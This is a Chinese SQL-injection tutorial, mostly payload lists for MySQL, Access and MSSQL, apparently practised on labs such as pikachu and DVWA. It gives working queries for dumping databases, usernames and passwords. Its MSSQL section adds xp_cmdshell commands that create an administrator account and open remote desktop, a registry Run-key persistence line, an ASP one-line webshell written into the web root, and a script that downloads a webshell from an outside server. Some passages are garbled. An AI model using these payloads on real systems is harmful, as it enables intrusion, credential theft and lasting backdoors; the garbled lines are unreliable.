SQL注入

SQL注入

注入原理与查找方法

原理

  • 注入最终是数据库,与脚本、平台无关
  • 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作

查找方法

  • 与数据库交互的相关页面

    • http://www.**.com/.php?id=xx (php注入)
    • http://www.**.com/.jsp?id=xx (jsp注入)
    • http://www.**.com/.aspx?id=xx (aspx注入)
    • http://www.*****.com/index.asp?id=8&page=99
  • 登录、注册、更新、修改、删除、留言板、查询、搜索、充值等位置–可以提交信息

  • 可能出现注入的地方:http头,user agent、cookies、referer、post、get、reguest

如何判断注入

  • and 1=1 或者 and 1=2

    • 1=1,正确执行,1=2返回错误
  • 单引号,返回数据库错误信息可注入

注入分类

数字型

  • or 1=1–

    • 空格+or+空格+1=1(组成true返回值)+’–‘(mysql注释符号)
  • or 1=1#

    • 空格+or+空格+1=1(组成true返回值)+’#‘(php注释符号)
  • 只能选择不能输入的情况

    • 用burpsuite抓包-重发-修改“id=1 or 1=1"-发送

字符型

  • ‘ or 1=1–

    • 单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’–‘(mysql注释符号)
  • ‘ or 1=1#

    • 单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(php注释符号)
  • 只能选择不能输入的情况

    • 用burpsuite抓包-重发-修改“vince’ or 1=1"-发送

搜索型

  • ’%vince%‘ or 1=1;

    • 两个%中间是要搜索的内容+单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(注释符号 )

XX型

  • 后台格式类型username=(‘xx’) or 1=1;

    • 子主题 1
  • 前端输入xx)‘ or 1=1#

    • xx)为要搜索的内容+单引号闭合前面的字符+空格+or+空格+1=1(组成true返回值)+’#‘(注释符号 )

注入提交方式

get提交

  • 可以在地址栏修改参数提交
  • burpsuite抓包后修改提交

post提交

  • burpsuite抓包后修改提交

cookies提交

  • burpsuite抓包后修改提交

注入攻击支持类型

union注入

  • order by 排序,利用查询的字段不能超过主查询的字段特性,根据返回结果,判断字段数量

    • a’ order by 4#%

      • 提示unknow,字段数少于by后面的数值
    • a’ order by 3#%

      • 提示没有找到信息,字段数不小于by后面的数字
  • 构造语句a’ union select database(),user(),version()#%

    • 查询当前数据库名,用户名,版本

information_schema注入

  • 数据库是MySQL系统自带的数据库

    • 保存着关于MySQL服务器所维护的所有其他数据库的信息
  • 通过注入获取information_schema.tables表中的信息

  • 注入步骤

    • 检查注入点’ 与and 1=1 and 1=2

    • order by来判断查询的字段数量

      • ’ order by 1,2–+&Submit=Submit#
    • 查看数据库用户名和版本、库名(dvwa)

    • union select user(),version()–+&Submit=Submit#

      • 用户名和版本
    • 'union select 1,group_concat(schema_name) from information_schema.schemata±-+&Submit=Submit 获取mysql所有库

    • 获取pikachu数据库的表名

      • u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
        pikachu为上一步查询到的数据库名称
    • 获取pikachu数据库的字段名

      • k’ union select table_name,column_name,3 from information_schema.columns where table_name=‘users’#%
    • 获取字段值的内容

      • kobe’union select username ,password,3 from users#%
        获取users表中的用户名和密码,其他用3做为通配
      • kobe’union select username ,email,3 from member#%
        获取member表中的用户名和邮箱,其他用3做为通配

基于函数报错注入

  • updatexml()

    • 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

    • UPDATEXML (XML_document, XPath_string, new_value);

      • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
      • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
      • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
    • 实战测试

      • 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
        通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
        updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)–主要利用第二个参数构造注入语句
        concat(0x7e,(SELECT database()),0x7e)–拼接字符串–主要修改第二个参数获取不同信息

      • 1、爆数据库版本信息

        • k’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
      • 2、爆数据库当前用户

        • k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
      • 3、爆数据库

        • k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
      • 4、爆表

        • 获取数据库表名

          • k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#

            • 返回数据超过一行,报错,用limit 0,1限制
          • k’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1)),0)#

            • 限制输出1行,limit 0,1两个参数,0是第几行的参数,1是每次输出的行数,更换行号,循环获取,取得全部表名–可以用burpsuite测试器
      • 5、爆字段

        • 获取字段名

          • k’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1)),0)#
      • 6、爆字段内容

        • 获取字段内容

          • k’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
  • extractvalue()

    • 函数也是MYSQL对XML文档数据进行查询的XPATH函数

    • 1、爆数据库版本信息

      • vince’ and extractvalue(0,concat(0x7e,version()))#
    • 2、爆数据库当前用户

      • vince’ and extractvalue(0,concat(0x7e,SELECT user()))#
    • 3、爆数据库

      • k’ and extractvalue(1,concat(0x7e,(SELECT database()))#
    • 4、爆表

      • 获取数据库表名

        • k’and extractvaluel(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’))#

          • 返回数据超过一行,报错,用limit 0,1限制
        • k’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1))#

          • 限制输出1行,limit 0,1两个参数,0是第几行的参数,1是每次输出的行数,更换行号,循环获取,取得全部表名–可以用burpsuite测试器
    • 5、爆字段

      • 获取字段名

        • k’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1))#
    • 6、爆字段内容

      • 获取字段内容

        • k’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1))#
  • floor()

    • MYSQL中用来取整的函数.

insert注入

  • 进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload

    • oldboy’or updatexml(1,concat(0x7e,(命令)),0) or’

      1. 爆表名
      • oldboy’or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) or’
      1. 爆列名
      • ’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’limit 2,1)),0) or’
      1. 爆内容
      • ’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or’ 等同
        ’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or ‘1’=‘1’’

update注入

  • update用于用户登陆端

    • ’ or updatexml(0,concat(0x7e,(database())),0) or’

delete注入

  • 一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入

    • 注入位置(delete from message): where id=56
    • 注入内容: or updatexml(2,concat(0x7e,(database())),0)–前面有空格
    • 1、在浏览器操作,首先复制删除按钮地址,粘贴到新的地址栏,再加入注入语句,执行
    • 2、在burpsuite中,抓包、重发、(注意:选中注入代码和其前面的空格,右键-转换选择-URL-特殊字符的URL编码-发送)

http header注入

  • 登录帐号和密码,登陆后去BurpSuite中找到登陆的GET请求,将拦截到的信息发到burpsuite重发模块
  • 去掉user agent:的信息,添加单引号 ” ,观察响应,如果有数据库报错,则存在注入点
  • 用updatexml方法,暴库 ’ or updatexml(1,concat(0x7e,database ()),0) or ’
    如果暴库成功,其他参考 updatexml

cookie注入

  • Cookie是网站为了识别用户身份来跟踪会话的
  • 后端生成,前端校验,返回响应,如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点
  • 在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞
  • 用updatexml方法,暴库 'and updatexml (1,concat(0x7e,database()),0)#
    如果暴库成功,就可以参考updatexml方法获取数据库其他信息

盲注

  • 在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

  • boolian(布尔型)盲注

    • 判断表名长度

      • 使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。输入语句:select length(database())<xx;。xx估计表名长度值,pikachu长度为7
      • 与后面的xx(数字)进行比较,根据语句真假返回信息判断是否错在注入,可用 ><=任何一种
      • 返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在!
      • 使用 vince’ and ascii(substr(database(),1,1))=112#,就可以获得数据库名称
        其他参考information_schema报表方法
    • 判断表名
      注入语句:select ascii(substr(database(),1,1))>xx;

      • 等号成立时,根据数值换算字符
        获取数据库名称的第1个字符的ascii码数值
      • 修改datebase(),1,1 修改datebase(),2,1
        继续之前的操作,直到获取全部数据库名称
  • base on time(时间型)盲注

    • 盲注语句:vince’ and sleep(x)#

    • 根据服务器对盲注语句中sleep(x)的响应情况,判断是否存在注入点

    • 构造拼接语句: vince’ and if(substr(database(),1,1)=‘X’ ,sleep(10),null#,
      ‘X’ (猜测点)’,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。

    • vince’ and if(substr(database(),1,1)=‘p’,sleep(10),null)#

      • 判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
  • 宽字节注入

    • 当后台PHP扩展参数magic_quotes_gqc设为ON时

      • 所有的’(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。
    • \的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運’,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
      ’ =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
      小提示: 数字和字母占一个字节,汉字占两个字节。

      • 通过宽字节构造,%df’ 获取单引号从而使注入语句生效
    • 注意:宽字节空格、#如果被URL编码了,可能造成不能成功。

    • 解决办法:通过burpsuite抓包,将被URL编码的转义注入语句修改回来(%df’ or 1=1#)

      • 注意%df后面有单引号+空格+or+空格+1=1#
  • 注:substr()函数 substr(string,start,length)
    string(必需)规定要返回其中一部分的字符串。
    start(必需)规定在字符串的何处开始。
    length(可选)规定被返回字符串的长度。

  • 实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。

  • 哪些地方没有魔术引号的保护?
    (1) S E R V E R 变 量 P H P 5 的 _SERVER 变量 PHP5的 SERVERPHP5_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
    (2)getenv()得到的变量(使用类似 S E R V E R 变 量 ) ( 3 ) _SERVER 变量) (3) SERVER3HTTP_RAW_POST_DATA与PHP输入、输出流

Access数据库

猜解数据库表名

  • and exists(select * from users)

    • exists函数,是否存在,返回值为布尔类型,存在返回真,不存在返回假
    • and前面有空格,users为猜测的表名,如果返回错误说明users表不存在,换一个表名去猜解,比如administrator,靠运气,不正确就继续换,直到猜出来
    • 常用表名:admin \administrator \mysql_aadmin \root

猜解字段名

  • 以上一步猜解出来的数据库表名:administrator为基础继续猜解

  • and exists(select username from administrator)

    • username为猜测的字段名称,administrator为上一步猜到的表名
    • 常用字段名称user \users \users_name \username \user_name \password \passwd

猜解字段长度

  • and (select top 1 len(user_name) from administrator)>1

    • user_name为上一步猜到的字段名,top从顶部开始,1 只查询一行,len(user_name) 字段名的长度
    • and前面有空格,更换末尾出的1,返回正确值说明数字小了,返回错误值说明数字大了,找到=的那个正确返回值

猜解字段内容

  • and (select top 1 asc(mid(user_name,1,1)) from administrator)>0

    • asc函数,返回ascii数值,mid(user_name,1,1)返回第一个参数的第1个字符
    • 说明:ASCII值大于0 ,字段值应该为字母,
      如果是小于0那么说明是汉字
    • 更改末尾的0,通过返回值情况,判断数值大小,直到得到正确的数值,a的ascii数值为97
  • and (select top 1 asc(mid(user_name,2,1)) from administrator)>99

    • mid(user_name,2,1)返回第一个参数的第2个字符
  • 根据字段长度,将所有字符都猜解出来为止

  • 继续猜解后面的字段内容-----很累,

- 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
- 在线解密工具:www.cmd5.com
  • sql注入中的高级查询功能

    • 猜字段数目
      order by

      • order by 1
        order by 2

        order by n-1
        order by n

        • 判断:
          n-1时返回正常,
          n时返回错误,
          那么说明字段数目为n
    • 爆字段内容
      union select联合查询

      • and 1=2 union select1, 2, 3…, n from 表名

        • 根据返回的结果判断哪个字段可以注入
          然后用字段名代替数字的位置,爆出字段内容
      • and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

        • 这样就可以获得用户名密码了,直接登陆后台查询吧
  • 偏移注入

    • UNION SELECT 1,2,3,4,* from administrator 分别用号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 有3个字段)再接着用32+1=7来构造第三步注入语句。
    • UNION SELECT 1, a.id,b.id, * from (administrator as a inner join administrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个字段,就是上面3*2
    • 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是33+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id, from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
  • 跨库注入

    • UNION SELECT 1,adminpassword,username,4,5,6,7 from
      [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins

    • 比较难,前提是要知道B网站的目录路径,而且要知道数据库名称及后缀,全凭运气

小提示

  • access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

mssql数据库

基本检测

  • 判断是否是MsSQL注入点

    • and exists (select * from sysobjects)
      页面返回正常,则说明为MsSQL注入点。

注入点权限判断

  • and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))

    • 判断是否sa权限用户

      • 可以或者系统xshell权限
  • and 1=(select is_srvrolemember(‘db_owner’))

    • 判断是否db_owner权限用户

      • 可以或者webshell权限
  • and 1=(select is_srvrolemember(‘public’))

    • 判断是否public权限用户

      • 可以获取数据库内容权限

爆表参考

  • http://blog.csdn.net/xabc3000/article/details/7615378

相关内容查询

  • 查版本

    • and @@version>0
  • 判断MsSQL支持多行语句查询

    • ;declare @d int
  • 是否支持子查询

    • and (select count (1) from [sysobjects])>=0
  • 获取当前数据库用户名

    • and user>0
  • 获取当前数据库名称

    • and db_name>0
  • 当前数据库名

    • and l=convert (int,db_name ()) 或 1=(select db_name ())
  • 本地服务名

    • and 1=(select @@servername)
  • 判断是否有库读取权限

    • and 1=(Select HAS_DBACCESS (‘master’))

利用MsSQL扩展存储注入攻击

  • 扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

  • 查看xp_cmdshell扩展存储过程是否被删除

    • and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype =‘X’ AND name = ‘xp_cmdshell’)
  • 查看xp_regread扩展存储过程是否被删除

    • and 1=(Select count(*) FROM master. dbo.sysobjects Where name = ‘xp_regread’)
  • 如果扩展存储被删除,可执行如下查询进行恢复。(xp_cmdshell)

    • ;exec sp_dropextendedproc ‘xp_cmdshell’

      • 这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。
    • ;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

      • 该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
    • ;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

      • 如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。

最常利用的扩展存储攻击

  • xp_cmdshell—利用此存储过程可以直接执行系统命令。
  • xp_regread—利用此存储过程可以进行注册表读取。
  • xp_regwrit一利用此存储过程可以写入注册表。
  • xp_dirtre一利用此存储过程可以进行列目录操作。
  • xp_enumds—利用此存储过程可以进行ODBC连接。
  • xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
  • xp_makecab一一利用此存储过程可以创建压缩卷。
  • xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
  • xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

分类攻击

  • SA权限下扩展存储攻击利用方法

    • 当MsSQL注入点具备sa权限时,只需提交各种扩展存储查询语句,就可以实现危害极大的攻击。

    • 利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。

      • ;exec master…xp_cmdshell ‘dir c:’
    • 最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。

      • 然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。

        • ;exec master…xp_cmdshell ‘sc config termservice start = auto’

        • ;exec master…xp_cmdshell ‘net start termservice’

        • ;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server”/v fDenyTSConnections /t REG_DWORD /D 0X0 /F’

          • //允许外部连接
          • 注0x0 改0x1就是关闭
        • ;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp”/v PortNumber /t REG_DWORD’

          • //改端口到80
        • 事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。

      • 添加一个用户名和密码都为test的管理员账号

        • ;exec master…xp_cmdshell ‘net user test/add’

          • 添加账户
        • exec master…xp_cmdshell ‘net locaigroup administrators test/add’

          • 提升管理员权限
    • xp_regwrite操作注册表与开启沙盒模式

      • ;xp_regwrite’HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\currentversion\run’,

      • ‘black’,‘REG_SZ’,‘net user test test /add’

      • 利用xp_regwrite来开启沙盒模式,从而执行系统命令。

        • 开启沙盒模式

          • execmaster…xp regwrite’HKEY_LOCAL_MACHINE’,‘SOFTNARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG DWORD’,l
        • 利用jet.oledb执行如下系统命令

          • select * from openrowset(‘microsoft.jet.oledb.4.O’,’;database=c:\windows\system32\ias\ias.mdb’,‘select shell(“net user test test /add”)’)
          • 注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string字符型,则可指定连接dnary.mdb.
            如果是Windows 2000系统,数据库的路径应该指定为:“x:\winnt\system32\ias\ias.mdb”
    • 利用sp_makewebtask写入一句话木马

      • 木马写入到服务器磁盘中的Web目录下,首先需要将一句话木马转换成URL格式

        • 在线url转码/解码

          • http://www.jsons.cn/urlencode/
          • https://tool.oschina.net/encode?type=4
      • exec sp_makewebtask
        ‘c:\inetpub\wwwroot\yjh.asp’,‘select’’ %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E’’’–

        • 木马原文:<%execute request(“value”)%>
      • 使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门

    • 利用sp_oacreate存储远程下载文件

      • sa权限下可以调用sp_oacreate存储过程来完成更多功能,如远程下载文件到服务器上,从而间接获得一个WebShell.

        • 可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下:
          http://www.test.com/teat.txt
      • 在注入点处提交如下查询

        • DECLARE @B varbinary(8000),@hr int,
          @http INT,@down INT EXEC sp_oacreate
          (Microsoft.XMLHTTP],@http output EXEC
          @hr = sp_oamethod @http,[Open],null,[GET],
          [http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
          OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down
          output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
          EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
          [hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -
      • 即可下载文件“http://www.test.con/test.txt”的内容到“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.

    • sp_addlogin扩展管理数据库用户

      • exec master.dbo.sp_addlogin test,password

        • 添加一个sa权限的数据库用户
      • exec masterdbo.sp_addsrvrolemember test,sysadmin

        • 删除一个sa权限的数据库用户
    • xp_servicecontrol管理服务

      • 要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。

      • ;exec master…xp_servicecontrol ‘stop’,‘schedule’

        • 停掉服务计划
      • ;exec master…xp_servicecontrol ‘start’,‘schedule’

        • 激活服务计划
      • ;exec master…xp servicecontrol ‘start’,‘server’

        • 激活服务
  • dbowner权限下的扩展攻击利用方法

    • 判断数据库用户权限

      • and 1=(SELECT IS_MEMBER(‘db_owner’));–
    • 搜索Web目录

      • ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));–

        • 该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。
      • ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree ‘c:’,1,1–

        • 将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。
      • and (select dir from temp where id=1)>0

        • 查询临时表中的内容
          也就是指定的目录文件和文件夹名
        • 由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。
          通过此方法,可以遍历所有盘符,从而找到Web目录路径。
    • 获取数据库用户名

      • and db_name() =O–

        • 举例 http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O–
    • 写入一句话木马

      • http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk=‘c:\test1’ with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk=‘C:\wwwtest\iis-xxser.com–wwwroot\yjh.asp’;alter database testdb set RECOVERY simple

        • 执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell.
        • 使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门

MsSQL注入猜解数据库技术

  • having查询爆表名

    • having 1=1–"

      • 从返回的错误信息中即可得到当前表名与第一个字段名
  • group by查询字段名

    • group by 字段名 1 having 1-1–

      • 从页面返回的错误信息中,即可得知第二个字段名
    • group by 字段名1,字段名2 having 1=1–

      • 从页面返回的错误信息中,即可得知第三个字段名
    • group by 字段名1,字段名2,字段名3…字段名n having 1=1–

      • 直到页面返回正常信息,即可得到所有的字段名

order by与数据类型转换爆错法

  • 如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。

  • 爆所有数据库名

    • and db_name() =0–

      • 从返回的出错信息中即可获得当前数据库名
    • and db_name(n)>0–

      • 爆所有的数据库名,使用查询语句
      • 当数字n为1时,即可得到第一个数据库名,n为2时可得到第二个数据库名。通过增加n的值,可以遍历出所有的数据库名称。
  • 爆数据库路径和名称

    • and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)–

      • %20=空格
    • 展示结果

  • 爆当前库中的所有表与跨库爆表

    • %20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1–

      • %20=空格
    • %20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1–

      • 爆出当前数据库中全部表的数目
    • and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0–

      • 递增查询语句中的数字n,就可以遍历出当前数据库中的所有表名
    • 要爆出任意数据库中的表名,则可提交如下查询语句

      • and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))–

        • 递增查询语句中的数字n,就可以遍历出当前数据库中的所有表名
  • 爆所有字段名

    • and (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]…[sysobjects] where name='表名 ') =0–

      • 可以爆出指定表的dbid值,根据表的dbid值才能定位到表中的字段
    • and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]…[syscolumns] where id=dbid 值)=0–

      • 可以爆出得到字段列名数目
    • and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]…[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0–

      • 通过递增n的值,就可以得到所有字段名
  • 快速查询包含管理员账号的表名及字段名

    • and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0–

      • 从返回信息中,即可得到包含关键字的表名和字段名
  • 爆字段内容

    • 爆出列的总数目,提交语句

      • and (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]…[表名]where 1=1) >0–

        • 从返回信息中查看到字段的记录数目
    • 爆指定字段的值

      • and (select top 1 isnull
        (cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32)) from [表名] where 1=1 order by [字段1])=O–

        • 得到第一个数据内容
      • and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%
        2bisnull (cast ([字段2] as nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0–

        • 通过递增n的值,可以得到其他字段记录内容

查询爆库的另一种方法

  • 爆所有数据库名

    • and 1=(select name from master.dbo.sysdatabases where dbid=1)–

      • 改变dbid的值,可以依次爆出不同的库名
  • 爆出当前数据库中的所有表

    • %20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=0X75%20order%20by%20name)%20t%20order%20by%20name%20desc)=0

      • 其中0X75是u的十六进制,增加n数字的值,就可以爆出当前数据库的所有表名
  • 跨库查询其他数据库的表名

    • and (select top 1 name from (select top n name from 数据库名…sysobjects where xtype=0X75 order by name) t order by name desc)=0

      • 增加n数字的值,就可以爆出指定数据库的所有表名
  • 爆字段名及字段值

    • and (select col_name(object_id(‘表名’),n))=0

      • 增加数字n的值,就可以得到表中所有字段名
    • and (select top 1 字段名 from 表名)>0

      • 得到第一个字段值
    • and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

      • 爆出其他字段值

union select查询注入技术

  • null替换查询

    • 用order by检测出字段数目 3

      • 接着利用union联合查询把这3个数字替换为null确认
    • and 1=2 union all select null,null,null,null,…from 当前表名
      例如:and 1=1 union all select null,null,null from sysobjects

      • 字段数目为几就加几个null进行联合查询。由于null可代表字符或数字类型.因此不会出现数据类型转换出错提示。
  • 确认数据类型

    • 如果页面返回正常,则将null逐个用数字替换

    • and 1=2 union all select 1,null,null,null,…from 当前表名

    • and 1=2 union all select 1,2,null,null,…from 当前表名

      • 在替换的过程中,返回页面提示数据类型出错,则说明该位置处的数据类型为文字text,将相应的数字处修改为任意字符,如’text’,并继续进行替换
      • 举例:and 1=1 union all select 1,‘text’,null from sysobjects
    • and1=1unionallselect 1,‘text’,3 fromsysobjects

      • 页面正常,说明只有字段2位置处查询数据类型号为text
    • 如果字段数为 n,则继续替换

  • 查询所有数据库名

    • and1=2unionallselect 1,(select name from master.dbo.sysdatabases where dbid=1),3 fromsysobjects

      • 增加查询语句中的bdid的值,获取数据库列表中所有数据库名
  • 查询数据库中的所有表

    • 将数字或字符处替换

    • (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)

    • 或者(select top 1 name from sysobjects where xtype=0x75 and name not in(select top n name from sysobjects where xtype=0x75))

      • 0x75是u的十六进制,增加n数字的值,就可以得到当前数据库的所有表名
    • 跨库查询其他数据库的表名

      • (select top 1 name from (select top n name from 数据库…sysobjects where xtype=0x75 order by name) t order by name desc)
      • 增加n数字的值,就可以查询指定数据库的所有表名
      • (select top 1 name from [数据库名]…sysobjects where xtype=’u’ and name not in(select top n name from[数据库名] sysobjects where xtype=’u’))
  • 查询字段名及字段值

    • 数字或字符处替换

    • and 1=2 union all select 1,(select col_name(object_id(‘admin’),n)),3 from sysobjects

      • 增加数字n的值,就可以得到表中的所有字段名
    • 获取字段内容,可将数字或字符处替换为如下

      • and 1=2 union all select 1,(select top 1 name from admin),3 from sysobjects

        • 得到第一个字段值
      • and 1=2 union all select 1,(select top 1 passWord from admin where name=‘yuan’),3 from sysobjects

    • 同时返回用户名与密码

